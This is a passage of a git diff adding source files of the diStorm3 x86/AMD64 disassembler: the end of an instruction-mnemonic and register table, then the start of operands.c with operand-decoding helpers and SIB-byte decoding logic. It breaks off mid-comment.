+"\x05" "LZCNT\0" "\x07" "CMPEQPS\0" "\x07" "CMPLTPS\0" "\x07" "CMPLEPS\0" "\x0a" "CMPUNORDPS\0" \ +"\x08" "CMPNEQPS\0" "\x08" "CMPNLTPS\0" "\x08" "CMPNLEPS\0" "\x08" "CMPORDPS\0" \ +"\x07" "CMPEQPD\0" "\x07" "CMPLTPD\0" "\x07" "CMPLEPD\0" "\x0a" "CMPUNORDPD\0" \ +"\x08" "CMPNEQPD\0" "\x08" "CMPNLTPD\0" "\x08" "CMPNLEPD\0" "\x08" "CMPORDPD\0" \ +"\x07" "CMPEQSS\0" "\x07" "CMPLTSS\0" "\x07" "CMPLESS\0" "\x0a" "CMPUNORDSS\0" \ +"\x08" "CMPNEQSS\0" "\x08" "CMPNLTSS\0" "\x08" "CMPNLESS\0" "\x08" "CMPORDSS\0" \ +"\x07" "CMPEQSD\0" "\x07" "CMPLTSD\0" "\x07" "CMPLESD\0" "\x0a" "CMPUNORDSD\0" \ +"\x08" "CMPNEQSD\0" "\x08" "CMPNLTSD\0" "\x08" "CMPNLESD\0" "\x08" "CMPORDSD\0" \ +"\x08" "VCMPEQPS\0" "\x08" "VCMPLTPS\0" "\x08" "VCMPLEPS\0" "\x0b" "VCMPUNORDPS\0" \ +"\x09" "VCMPNEQPS\0" "\x09" "VCMPNLTPS\0" "\x09" "VCMPNLEPS\0" "\x09" "VCMPORDPS\0" \ +"\x0b" "VCMPEQ_UQPS\0" "\x09" "VCMPNGEPS\0" "\x09" "VCMPNGTPS\0" "\x0b" "VCMPFALSEPS\0" \ +"\x0c" "VCMPNEQ_OQPS\0" "\x08" "VCMPGEPS\0" "\x08" "VCMPGTPS\0" "\x0a" "VCMPTRUEPS\0" \ +"\x0b" "VCMPEQ_OSPS\0" "\x0b" "VCMPLT_OQPS\0" "\x0b" "VCMPLE_OQPS\0" "\x0d" "VCMPUNORD_SPS\0" \ +"\x0c" "VCMPNEQ_USPS\0" "\x0c" "VCMPNLT_UQPS\0" "\x0c" "VCMPNLE_UQPS\0" "\x0b" "VCMPORD_SPS\0" \ +"\x0b" "VCMPEQ_USPS\0" "\x0c" "VCMPNGE_UQPS\0" "\x0c" "VCMPNGT_UQPS\0" "\x0e" "VCMPFALSE_OSPS\0" \ +"\x0c" "VCMPNEQ_OSPS\0" "\x0b" "VCMPGE_OQPS\0" "\x0b" "VCMPGT_OQPS\0" "\x0d" "VCMPTRUE_USPS\0" \ +"\x08" "VCMPEQPD\0" "\x08" "VCMPLTPD\0" "\x08" "VCMPLEPD\0" "\x0b" "VCMPUNORDPD\0" \ +"\x09" "VCMPNEQPD\0" "\x09" "VCMPNLTPD\0" "\x09" "VCMPNLEPD\0" "\x09" "VCMPORDPD\0" \ +"\x0b" "VCMPEQ_UQPD\0" "\x09" "VCMPNGEPD\0" "\x09" "VCMPNGTPD\0" "\x0b" "VCMPFALSEPD\0" \ +"\x0c" "VCMPNEQ_OQPD\0" "\x08" "VCMPGEPD\0" "\x08" "VCMPGTPD\0" "\x0a" "VCMPTRUEPD\0" \ +"\x0b" "VCMPEQ_OSPD\0" "\x0b" "VCMPLT_OQPD\0" "\x0b" "VCMPLE_OQPD\0" "\x0d" "VCMPUNORD_SPD\0" \ +"\x0c" "VCMPNEQ_USPD\0" "\x0c" "VCMPNLT_UQPD\0" "\x0c" "VCMPNLE_UQPD\0" "\x0b" "VCMPORD_SPD\0" \ +"\x0b" "VCMPEQ_USPD\0" "\x0c" "VCMPNGE_UQPD\0" "\x0c" "VCMPNGT_UQPD\0" "\x0e" "VCMPFALSE_OSPD\0" \ +"\x0c" "VCMPNEQ_OSPD\0" "\x0b" "VCMPGE_OQPD\0" "\x0b" "VCMPGT_OQPD\0" "\x0d" "VCMPTRUE_USPD\0" \ +"\x08" "VCMPEQSS\0" "\x08" "VCMPLTSS\0" "\x08" "VCMPLESS\0" "\x0b" "VCMPUNORDSS\0" \ +"\x09" "VCMPNEQSS\0" "\x09" "VCMPNLTSS\0" "\x09" "VCMPNLESS\0" "\x09" "VCMPORDSS\0" \ +"\x0b" "VCMPEQ_UQSS\0" "\x09" "VCMPNGESS\0" "\x09" "VCMPNGTSS\0" "\x0b" "VCMPFALSESS\0" \ +"\x0c" "VCMPNEQ_OQSS\0" "\x08" "VCMPGESS\0" "\x08" "VCMPGTSS\0" "\x0a" "VCMPTRUESS\0" \ +"\x0b" "VCMPEQ_OSSS\0" "\x0b" "VCMPLT_OQSS\0" "\x0b" "VCMPLE_OQSS\0" "\x0d" "VCMPUNORD_SSS\0" \ +"\x0c" "VCMPNEQ_USSS\0" "\x0c" "VCMPNLT_UQSS\0" "\x0c" "VCMPNLE_UQSS\0" "\x0b" "VCMPORD_SSS\0" \ +"\x0b" "VCMPEQ_USSS\0" "\x0c" "VCMPNGE_UQSS\0" "\x0c" "VCMPNGT_UQSS\0" "\x0e" "VCMPFALSE_OSSS\0" \ +"\x0c" "VCMPNEQ_OSSS\0" "\x0b" "VCMPGE_OQSS\0" "\x0b" "VCMPGT_OQSS\0" "\x0d" "VCMPTRUE_USSS\0" \ +"\x08" "VCMPEQSD\0" "\x08" "VCMPLTSD\0" "\x08" "VCMPLESD\0" "\x0b" "VCMPUNORDSD\0" \ +"\x09" "VCMPNEQSD\0" "\x09" "VCMPNLTSD\0" "\x09" "VCMPNLESD\0" "\x09" "VCMPORDSD\0" \ +"\x0b" "VCMPEQ_UQSD\0" "\x09" "VCMPNGESD\0" "\x09" "VCMPNGTSD\0" "\x0b" "VCMPFALSESD\0" \ +"\x0c" "VCMPNEQ_OQSD\0" "\x08" "VCMPGESD\0" "\x08" "VCMPGTSD\0" "\x0a" "VCMPTRUESD\0" \ +"\x0b" "VCMPEQ_OSSD\0" "\x0b" "VCMPLT_OQSD\0" "\x0b" "VCMPLE_OQSD\0" "\x0d" "VCMPUNORD_SSD\0" \ +"\x0c" "VCMPNEQ_USSD\0" "\x0c" "VCMPNLT_UQSD\0" "\x0c" "VCMPNLE_UQSD\0" "\x0b" "VCMPORD_SSD\0" \ +"\x0b" "VCMPEQ_USSD\0" "\x0c" "VCMPNGE_UQSD\0" "\x0c" "VCMPNGT_UQSD\0" "\x0e" "VCMPFALSE_OSSD\0" \ +"\x0c" "VCMPNEQ_OSSD\0" "\x0b" "VCMPGE_OQSD\0" "\x0b" "VCMPGT_OQSD\0" "\x0d" "VCMPTRUE_USSD\0" \ +"\x06" "PINSRW\0" "\x07" "VPINSRW\0" "\x06" "PEXTRW\0" "\x07" "VPEXTRW\0" "\x06" "SHUFPS\0" \ +"\x06" "SHUFPD\0" "\x07" "VSHUFPS\0" "\x07" "VSHUFPD\0" "\x09" "CMPXCHG8B\0" \ +"\x0a" "CMPXCHG16B\0" "\x07" "VMPTRST\0" "\x08" "ADDSUBPD\0" "\x08" "ADDSUBPS\0" \ +"\x09" "VADDSUBPD\0" "\x09" "VADDSUBPS\0" "\x05" "PSRLW\0" "\x06" "VPSRLW\0" \ +"\x05" "PSRLD\0" "\x06" "VPSRLD\0" "\x05" "PSRLQ\0" "\x06" "VPSRLQ\0" "\x05" "PADDQ\0" \ +"\x06" "VPADDQ\0" "\x06" "PMULLW\0" "\x07" "VPMULLW\0" "\x07" "MOVQ2DQ\0" "\x07" "MOVDQ2Q\0" \ +"\x08" "PMOVMSKB\0" "\x09" "VPMOVMSKB\0" "\x07" "PSUBUSB\0" "\x08" "VPSUBUSB\0" \ +"\x07" "PSUBUSW\0" "\x08" "VPSUBUSW\0" "\x06" "PMINUB\0" "\x07" "VPMINUB\0" \ +"\x04" "PAND\0" "\x05" "VPAND\0" "\x07" "PADDUSB\0" "\x08" "VPADDUSW\0" "\x07" "PADDUSW\0" \ +"\x06" "PMAXUB\0" "\x07" "VPMAXUB\0" "\x05" "PANDN\0" "\x06" "VPANDN\0" "\x05" "PAVGB\0" \ +"\x06" "VPAVGB\0" "\x05" "PSRAW\0" "\x06" "VPSRAW\0" "\x05" "PSRAD\0" "\x06" "VPSRAD\0" \ +"\x05" "PAVGW\0" "\x06" "VPAVGW\0" "\x07" "PMULHUW\0" "\x08" "VPMULHUW\0" "\x06" "PMULHW\0" \ +"\x07" "VPMULHW\0" "\x09" "CVTTPD2DQ\0" "\x08" "CVTDQ2PD\0" "\x08" "CVTPD2DQ\0" \ +"\x0a" "VCVTTPD2DQ\0" "\x09" "VCVTDQ2PD\0" "\x09" "VCVTPD2DQ\0" "\x06" "MOVNTQ\0" \ +"\x07" "MOVNTDQ\0" "\x08" "VMOVNTDQ\0" "\x06" "PSUBSB\0" "\x07" "VPSUBSB\0" \ +"\x06" "PSUBSW\0" "\x07" "VPSUBSW\0" "\x06" "PMINSW\0" "\x07" "VPMINSW\0" "\x03" "POR\0" \ +"\x04" "VPOR\0" "\x06" "PADDSB\0" "\x07" "VPADDSB\0" "\x06" "PADDSW\0" "\x07" "VPADDSW\0" \ +"\x06" "PMAXSW\0" "\x07" "VPMAXSW\0" "\x04" "PXOR\0" "\x05" "VPXOR\0" "\x05" "LDDQU\0" \ +"\x06" "VLDDQU\0" "\x05" "PSLLW\0" "\x06" "VPSLLW\0" "\x05" "PSLLD\0" "\x06" "VPSLLD\0" \ +"\x05" "PSLLQ\0" "\x06" "VPSLLQ\0" "\x07" "PMULUDQ\0" "\x08" "VPMULUDQ\0" "\x07" "PMADDWD\0" \ +"\x08" "VPMADDWD\0" "\x06" "PSADBW\0" "\x07" "VPSADBW\0" "\x08" "MASKMOVQ\0" \ +"\x0a" "MASKMOVDQU\0" "\x0b" "VMASKMOVDQU\0" "\x05" "PSUBB\0" "\x06" "VPSUBB\0" \ +"\x05" "PSUBW\0" "\x06" "VPSUBW\0" "\x05" "PSUBD\0" "\x06" "VPSUBD\0" "\x05" "PSUBQ\0" \ +"\x06" "VPSUBQ\0" "\x05" "PADDB\0" "\x06" "VPADDB\0" "\x05" "PADDW\0" "\x06" "VPADDW\0" \ +"\x05" "PADDD\0" "\x06" "VPADDD\0" "\x07" "FNSTENV\0" "\x06" "FSTENV\0" "\x06" "FNSTCW\0" \ +"\x05" "FSTCW\0" "\x06" "FNCLEX\0" "\x05" "FCLEX\0" "\x06" "FNINIT\0" "\x05" "FINIT\0" \ +"\x06" "FNSAVE\0" "\x05" "FSAVE\0" "\x06" "FNSTSW\0" "\x05" "FSTSW\0" "\x06" "PSHUFB\0" \ +"\x07" "VPSHUFB\0" "\x06" "PHADDW\0" "\x07" "VPHADDW\0" "\x06" "PHADDD\0" "\x07" "VPHADDD\0" \ +"\x07" "PHADDSW\0" "\x08" "VPHADDSW\0" "\x09" "PMADDUBSW\0" "\x0a" "VPMADDUBSW\0" \ +"\x06" "PHSUBW\0" "\x07" "VPHSUBW\0" "\x06" "PHSUBD\0" "\x07" "VPHSUBD\0" "\x07" "PHSUBSW\0" \ +"\x08" "VPHSUBSW\0" "\x06" "PSIGNB\0" "\x07" "VPSIGNB\0" "\x06" "PSIGNW\0" \ +"\x07" "VPSIGNW\0" "\x06" "PSIGND\0" "\x07" "VPSIGND\0" "\x08" "PMULHRSW\0" \ +"\x09" "VPMULHRSW\0" "\x09" "VPERMILPS\0" "\x09" "VPERMILPD\0" "\x07" "VTESTPS\0" \ +"\x07" "VTESTPD\0" "\x08" "PBLENDVB\0" "\x08" "BLENDVPS\0" "\x08" "BLENDVPD\0" \ +"\x05" "PTEST\0" "\x06" "VPTEST\0" "\x0c" "VBROADCASTSS\0" "\x0c" "VBROADCASTSD\0" \ +"\x0e" "VBROADCASTF128\0" "\x05" "PABSB\0" "\x06" "VPABSB\0" "\x05" "PABSW\0" \ +"\x06" "VPABSW\0" "\x05" "PABSD\0" "\x06" "VPABSD\0" "\x08" "PMOVSXBW\0" "\x09" "VPMOVSXBW\0" \ +"\x08" "PMOVSXBD\0" "\x09" "VPMOVSXBD\0" "\x08" "PMOVSXBQ\0" "\x09" "VPMOVSXBQ\0" \ +"\x08" "PMOVSXWD\0" "\x09" "VPMOVSXWD\0" "\x08" "PMOVSXWQ\0" "\x09" "VPMOVSXWQ\0" \ +"\x08" "PMOVSXDQ\0" "\x09" "VPMOVSXDQ\0" "\x06" "PMULDQ\0" "\x07" "VPMULDQ\0" \ +"\x07" "PCMPEQQ\0" "\x08" "VPCMPEQQ\0" "\x08" "MOVNTDQA\0" "\x09" "VMOVNTDQA\0" \ +"\x08" "PACKUSDW\0" "\x09" "VPACKUSDW\0" "\x0a" "VMASKMOVPS\0" "\x0a" "VMASKMOVPD\0" \ +"\x08" "PMOVZXBW\0" "\x09" "VPMOVZXBW\0" "\x08" "PMOVZXBD\0" "\x09" "VPMOVZXBD\0" \ +"\x08" "PMOVZXBQ\0" "\x09" "VPMOVZXBQ\0" "\x08" "PMOVZXWD\0" "\x09" "VPMOVZXWD\0" \ +"\x08" "PMOVZXWQ\0" "\x09" "VPMOVZXWQ\0" "\x08" "PMOVZXDQ\0" "\x09" "VPMOVZXDQ\0" \ +"\x07" "PCMPGTQ\0" "\x08" "VPCMPGTQ\0" "\x06" "PMINSB\0" "\x07" "VPMINSB\0" \ +"\x06" "PMINSD\0" "\x07" "VPMINSD\0" "\x06" "PMINUW\0" "\x07" "VPMINUW\0" "\x06" "PMINUD\0" \ +"\x07" "VPMINUD\0" "\x06" "PMAXSB\0" "\x07" "VPMAXSB\0" "\x06" "PMAXSD\0" "\x07" "VPMAXSD\0" \ +"\x06" "PMAXUW\0" "\x07" "VPMAXUW\0" "\x06" "PMAXUD\0" "\x07" "VPMAXUD\0" "\x06" "PMULLD\0" \ +"\x07" "VPMULLD\0" "\x0a" "PHMINPOSUW\0" "\x0b" "VPHMINPOSUW\0" "\x06" "INVEPT\0" \ +"\x07" "INVVPID\0" "\x07" "INVPCID\0" "\x0e" "VFMADDSUB132PS\0" "\x0e" "VFMADDSUB132PD\0" \ +"\x0e" "VFMSUBADD132PS\0" "\x0e" "VFMSUBADD132PD\0" "\x0b" "VFMADD132PS\0" \ +"\x0b" "VFMADD132PD\0" "\x0b" "VFMADD132SS\0" "\x0b" "VFMADD132SD\0" "\x0b" "VFMSUB132PS\0" \ +"\x0b" "VFMSUB132PD\0" "\x0b" "VFMSUB132SS\0" "\x0b" "VFMSUB132SD\0" "\x0c" "VFNMADD132PS\0" \ +"\x0c" "VFNMADD132PD\0" "\x0c" "VFNMADD132SS\0" "\x0c" "VFNMADD132SD\0" "\x0c" "VFNMSUB132PS\0" \ +"\x0c" "VFNMSUB132PD\0" "\x0c" "VFNMSUB132SS\0" "\x0c" "VFNMSUB132SD\0" "\x0e" "VFMADDSUB213PS\0" \ +"\x0e" "VFMADDSUB213PD\0" "\x0e" "VFMSUBADD213PS\0" "\x0e" "VFMSUBADD213PD\0" \ +"\x0b" "VFMADD213PS\0" "\x0b" "VFMADD213PD\0" "\x0b" "VFMADD213SS\0" "\x0b" "VFMADD213SD\0" \ +"\x0b" "VFMSUB213PS\0" "\x0b" "VFMSUB213PD\0" "\x0b" "VFMSUB213SS\0" "\x0b" "VFMSUB213SD\0" \ +"\x0c" "VFNMADD213PS\0" "\x0c" "VFNMADD213PD\0" "\x0c" "VFNMADD213SS\0" "\x0c" "VFNMADD213SD\0" \ +"\x0c" "VFNMSUB213PS\0" "\x0c" "VFNMSUB213PD\0" "\x0c" "VFNMSUB213SS\0" "\x0c" "VFNMSUB213SD\0" \ +"\x0e" "VFMADDSUB231PS\0" "\x0e" "VFMADDSUB231PD\0" "\x0e" "VFMSUBADD231PS\0" \ +"\x0e" "VFMSUBADD231PD\0" "\x0b" "VFMADD231PS\0" "\x0b" "VFMADD231PD\0" "\x0b" "VFMADD231SS\0" \ +"\x0b" "VFMADD231SD\0" "\x0b" "VFMSUB231PS\0" "\x0b" "VFMSUB231PD\0" "\x0b" "VFMSUB231SS\0" \ +"\x0b" "VFMSUB231SD\0" "\x0c" "VFNMADD231PS\0" "\x0c" "VFNMADD231PD\0" "\x0c" "VFNMADD231SS\0" \ +"\x0c" "VFNMADD231SD\0" "\x0c" "VFNMSUB231PS\0" "\x0c" "VFNMSUB231PD\0" "\x0c" "VFNMSUB231SS\0" \ +"\x0c" "VFNMSUB231SD\0" "\x06" "AESIMC\0" "\x07" "VAESIMC\0" "\x06" "AESENC\0" \ +"\x07" "VAESENC\0" "\x0a" "AESENCLAST\0" "\x0b" "VAESENCLAST\0" "\x06" "AESDEC\0" \ +"\x07" "VAESDEC\0" "\x0a" "AESDECLAST\0" "\x0b" "VAESDECLAST\0" "\x05" "MOVBE\0" \ +"\x05" "CRC32\0" "\x0a" "VPERM2F128\0" "\x07" "ROUNDPS\0" "\x08" "VROUNDPS\0" \ +"\x07" "ROUNDPD\0" "\x08" "VROUNDPD\0" "\x07" "ROUNDSS\0" "\x08" "VROUNDSS\0" \ +"\x07" "ROUNDSD\0" "\x08" "VROUNDSD\0" "\x07" "BLENDPS\0" "\x08" "VBLENDPS\0" \ +"\x07" "BLENDPD\0" "\x08" "VBLENDPD\0" "\x07" "PBLENDW\0" "\x08" "VPBLENDW\0" \ +"\x07" "PALIGNR\0" "\x08" "VPALIGNR\0" "\x06" "PEXTRB\0" "\x07" "VPEXTRB\0" \ +"\x06" "PEXTRD\0" "\x06" "PEXTRQ\0" "\x07" "VPEXTRD\0" "\x07" "VPEXTRQ\0" "\x09" "EXTRACTPS\0" \ +"\x0a" "VEXTRACTPS\0" "\x0b" "VINSERTF128\0" "\x0c" "VEXTRACTF128\0" "\x06" "PINSRB\0" \ +"\x07" "VPINSRB\0" "\x08" "INSERTPS\0" "\x09" "VINSERTPS\0" "\x06" "PINSRD\0" \ +"\x06" "PINSRQ\0" "\x07" "VPINSRD\0" "\x07" "VPINSRQ\0" "\x04" "DPPS\0" "\x05" "VDPPS\0" \ +"\x04" "DPPD\0" "\x05" "VDPPD\0" "\x07" "MPSADBW\0" "\x08" "VMPSADBW\0" "\x09" "PCLMULQDQ\0" \ +"\x0a" "VPCLMULQDQ\0" "\x09" "VBLENDVPS\0" "\x09" "VBLENDVPD\0" "\x09" "VPBLENDVB\0" \ +"\x09" "PCMPESTRM\0" "\x0a" "VPCMPESTRM\0" "\x09" "PCMPESTRI\0" "\x0a" "VPCMPESTRI\0" \ +"\x09" "PCMPISTRM\0" "\x0a" "VPCMPISTRM\0" "\x09" "PCMPISTRI\0" "\x0a" "VPCMPISTRI\0" \ +"\x0f" "AESKEYGENASSIST\0" "\x10" "VAESKEYGENASSIST\0" "\x06" "PSRLDQ\0" "\x07" "VPSRLDQ\0" \ +"\x06" "PSLLDQ\0" "\x07" "VPSLLDQ\0" "\x06" "FXSAVE\0" "\x08" "FXSAVE64\0" \ +"\x08" "RDFSBASE\0" "\x07" "FXRSTOR\0" "\x09" "FXRSTOR64\0" "\x08" "RDGSBASE\0" \ +"\x07" "LDMXCSR\0" "\x08" "WRFSBASE\0" "\x08" "VLDMXCSR\0" "\x07" "STMXCSR\0" \ +"\x08" "WRGSBASE\0" "\x08" "VSTMXCSR\0" "\x07" "VMPTRLD\0" "\x07" "VMCLEAR\0" \ +"\x05" "VMXON\0" "\x06" "MOVSXD\0" "\x05" "PAUSE\0" "\x04" "WAIT\0" "\x06" "RDRAND\0" \ +"\x06" "_3DNOW\0"; + +const _WRegister _REGISTERS[] = { + { 3, "RAX" }, { 3, "RCX" }, { 3, "RDX" }, { 3, "RBX" }, { 3, "RSP" }, { 3, "RBP" }, { 3, "RSI" }, { 3, "RDI" }, { 2, "R8" }, { 2, "R9" }, { 3, "R10" }, { 3, "R11" }, { 3, "R12" }, { 3, "R13" }, { 3, "R14" }, { 3, "R15" }, + { 3, "EAX" }, { 3, "ECX" }, { 3, "EDX" }, { 3, "EBX" }, { 3, "ESP" }, { 3, "EBP" }, { 3, "ESI" }, { 3, "EDI" }, { 3, "R8D" }, { 3, "R9D" }, { 4, "R10D" }, { 4, "R11D" }, { 4, "R12D" }, { 4, "R13D" }, { 4, "R14D" }, { 4, "R15D" }, + { 2, "AX" }, { 2, "CX" }, { 2, "DX" }, { 2, "BX" }, { 2, "SP" }, { 2, "BP" }, { 2, "SI" }, { 2, "DI" }, { 3, "R8W" }, { 3, "R9W" }, { 4, "R10W" }, { 4, "R11W" }, { 4, "R12W" }, { 4, "R13W" }, { 4, "R14W" }, { 4, "R15W" }, + { 2, "AL" }, { 2, "CL" }, { 2, "DL" }, { 2, "BL" }, { 2, "AH" }, { 2, "CH" }, { 2, "DH" }, { 2, "BH" }, { 3, "R8B" }, { 3, "R9B" }, { 4, "R10B" }, { 4, "R11B" }, { 4, "R12B" }, { 4, "R13B" }, { 4, "R14B" }, { 4, "R15B" }, + { 3, "SPL" }, { 3, "BPL" }, { 3, "SIL" }, { 3, "DIL" }, + { 2, "ES" }, { 2, "CS" }, { 2, "SS" }, { 2, "DS" }, { 2, "FS" }, { 2, "GS" }, + { 3, "RIP" }, + { 3, "ST0" }, { 3, "ST1" }, { 3, "ST2" }, { 3, "ST3" }, { 3, "ST4" }, { 3, "ST5" }, { 3, "ST6" }, { 3, "ST7" }, + { 3, "MM0" }, { 3, "MM1" }, { 3, "MM2" }, { 3, "MM3" }, { 3, "MM4" }, { 3, "MM5" }, { 3, "MM6" }, { 3, "MM7" }, + { 4, "XMM0" }, { 4, "XMM1" }, { 4, "XMM2" }, { 4, "XMM3" }, { 4, "XMM4" }, { 4, "XMM5" }, { 4, "XMM6" }, { 4, "XMM7" }, { 4, "XMM8" }, { 4, "XMM9" }, { 5, "XMM10" }, { 5, "XMM11" }, { 5, "XMM12" }, { 5, "XMM13" }, { 5, "XMM14" }, { 5, "XMM15" }, + { 4, "YMM0" }, { 4, "YMM1" }, { 4, "YMM2" }, { 4, "YMM3" }, { 4, "YMM4" }, { 4, "YMM5" }, { 4, "YMM6" }, { 4, "YMM7" }, { 4, "YMM8" }, { 4, "YMM9" }, { 5, "YMM10" }, { 5, "YMM11" }, { 5, "YMM12" }, { 5, "YMM13" }, { 5, "YMM14" }, { 5, "YMM15" }, + { 3, "CR0" }, { 0, "" }, { 3, "CR2" }, { 3, "CR3" }, { 3, "CR4" }, { 0, "" }, { 0, "" }, { 0, "" }, { 3, "CR8" }, + { 3, "DR0" }, { 3, "DR1" }, { 3, "DR2" }, { 3, "DR3" }, { 0, "" }, { 0, "" }, { 3, "DR6" }, { 3, "DR7" } +}; + +#endif /* DISTORM_LIGHT */ diff --git a/source/distorm/operands.c b/source/distorm/operands.c new file mode 100644 index 0000000..d7cf1a7 --- /dev/null +++ b/source/distorm/operands.c @@ -0,0 +1,1291 @@ +/* +operands.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "config.h" +#include "operands.h" +#include "x86defs.h" +#include "insts.h" +#include "distorm/mnemonics.h" +#include "compat.h" + + +/* Maps a register to its register-class mask. */ +uint32_t _REGISTERTORCLASS[] = /* Based on _RegisterType enumeration! */ +{RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15, + RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15, + RM_AX, RM_CX, RM_DX, RM_BX, RM_SP, RM_BP, RM_SI, RM_DI, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15, + RM_AX, RM_CX, RM_DX, RM_BX, RM_AX, RM_CX, RM_DX, RM_BX, RM_R8, RM_R9, RM_R10, RM_R11, RM_R12, RM_R13, RM_R14, RM_R15, + RM_SP, RM_BP, RM_SI, RM_DI, + 0, 0, 0, 0, 0, 0, + 0, + RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, RM_FPU, + RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, RM_MMX, + RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, RM_SSE, + RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, RM_AVX, + RM_CR, 0, RM_CR, RM_CR, RM_CR, 0, 0, 0, RM_CR, + RM_DR, RM_DR, RM_DR, RM_DR, 0, 0, RM_DR, RM_DR +}; + +typedef enum {OPERAND_SIZE_NONE = 0, OPERAND_SIZE8, OPERAND_SIZE16, OPERAND_SIZE32, OPERAND_SIZE64, OPERAND_SIZE80, OPERAND_SIZE128, OPERAND_SIZE256} _OperandSizeType; +static uint16_t _OPSIZETOINT[] = {0, 8, 16, 32, 64, 80, 128, 256}; + +/* A helper function to fix the 8 bits register if REX is used (to support SIL, DIL, etc). */ +static unsigned int _FASTCALL_ operands_fix_8bit_rex_base(unsigned int reg) +{ + if ((reg >= 4) && (reg < 8)) return reg + REGS8_REX_BASE - 4; + return reg + REGS8_BASE; +} + +/* A helper function to set operand's type and size. */ +static void _FASTCALL_ operands_set_ts(_Operand* op, _OperandType type, uint16_t size) +{ + op->type = type; + op->size = size; +} + +/* A helper function to set operand's type, size and index. */ +static void _FASTCALL_ operands_set_tsi(_Operand* op, _OperandType type, uint16_t size, unsigned int index) +{ + op->type = type; + op->index = (uint8_t)index; + op->size = size; +} + +/* A helper function to read an unsigned integer from the stream safely. */ +static int _FASTCALL_ read_stream_safe_uint(_CodeInfo* ci, void* result, unsigned int size) +{ + ci->codeLen -= size; + if (ci->codeLen < 0) return FALSE; + switch (size) + { + case 1: *(uint8_t*)result = *(uint8_t*)ci->code; break; + case 2: *(uint16_t*)result = RUSHORT(ci->code); break; + case 4: *(uint32_t*)result = RULONG(ci->code); break; + case 8: *(uint64_t*)result = RULLONG(ci->code); break; + } + ci->code += size; + return TRUE; +} + +/* A helper function to read a signed integer from the stream safely. */ +static int _FASTCALL_ read_stream_safe_sint(_CodeInfo* ci, int64_t* result, unsigned int size) +{ + ci->codeLen -= size; + if (ci->codeLen < 0) return FALSE; + switch (size) + { + case 1: *result = *(int8_t*)ci->code; break; + case 2: *result = RSHORT(ci->code); break; + case 4: *result = RLONG(ci->code); break; + case 8: *result = RLLONG(ci->code); break; + } + ci->code += size; + return TRUE; +} + +/* + * SIB decoding is the most confusing part when decoding IA-32 instructions. + * This explanation should clear up some stuff. + * + * ! When base == 5, use EBP as the base register ! + * if (rm == 4) { + * if mod == 01, decode SIB byte and ALSO read a 8 bits displacement. + * if mod == 10, decode SIB byte and ALSO read a 32 bits displacement. + * if mod == 11 <-- EXCEPTION, this is a general-purpose register and mustn't lead to SIB decoding! + * ; So far so good, now the confusing part comes in with mod == 0 and base=5, but no worry. + * if (mod == 00) { + * decode SIB byte WITHOUT any displacement. + * EXCEPTION!!! when base == 5, read a 32 bits displacement, but this time DO NOT use (EBP) BASE at all! + * } + * + * NOTE: base could specify None (no base register) if base==5 and mod==0, but then you also need DISP32. + * } + */ +static void operands_extract_sib(_DInst* di, _OperandNumberType opNum, + _PrefixState* ps, _DecodeType effAdrSz, + unsigned int sib, unsigned int mod) +{ + unsigned int scale = 0, index = 0, base = 0; + unsigned int vrex = ps->vrex; + uint8_t* pIndex = NULL; + + _Operand* op = &di->ops[opNum]; + + /* + * SIB bits: + * |7---6-5----3-2---0| + * |SCALE| INDEX| BASE| + * |------------------| + */ + scale = (sib >> 6) & 3; + index = (sib >> 3) & 7; + base = sib & 7; + + /* + * The following fields: base/index/scale/disp8/32 are ALL optional by specific rules! + * The idea here is to keep the indirection as a simple-memory type. + * Because the base is optional, and we might be left with only one index. + * So even if there's a base but no index, or vice versa, we end up with one index register. + */ + + /* In 64 bits the REX prefix might affect the index of the SIB byte. */ + if (vrex & PREFIX_EX_X) { + ps->usedPrefixes |= INST_PRE_REX; + index += EX_GPR_BASE; + } + + if (index == 4) { /* No index is used. Use SMEM. */ + op->type = O_SMEM; + pIndex = &op->index; + } else { + op->type = O_MEM; + pIndex = &di->base; + /* No base, unless it is updated below. E.G: [EAX*4] has no base reg. */ + } + + if (base != 5) { + if (vrex & PREFIX_EX_B) ps->usedPrefixes |= INST_PRE_REX; + *pIndex = effAdrSz == Decode64Bits ? REGS64_BASE : REGS32_BASE; + *pIndex += (uint8_t)(base + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0)); + } else if (mod != 0) { + /* + * if base == 5 then you have to decode according to MOD. + * mod(00) - disp32. + * mod(01) - disp8 + rBP + * mod(10) - disp32 + rBP + * mod(11) - not possible, it's a general-purpose register. + */ + + if (vrex & PREFIX_EX_B) ps->usedPrefixes |= INST_PRE_REX; + if (effAdrSz == Decode64Bits) *pIndex = REGS64_BASE + 5 + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0); + else *pIndex = REGS32_BASE + 5 + ((vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0); + } else if (index == 4) { + /* 32bits displacement only. */ + op->type = O_DISP; + return; + } + + if (index != 4) { /* In 64 bits decoding mode, if index == R12, it's valid! */ + if (effAdrSz == Decode64Bits) op->index = (uint8_t)(REGS64_BASE + index); + else op->index = (uint8_t)(REGS32_BASE + index); + di->scale = scale != 0 ? (1 << scale) : 0; + } +} + +/* + * This seems to be the hardest part in decoding the operands. + * If you take a look carefully at Table 2-2. 32-Bit Addressing Forms with the ModR/M Byte, + * you will understand it's easy to decode the operands. + + * First we check the DT, so we can decide according to which Table in the documentation we are supposed to decode. + * Then we follow the specific 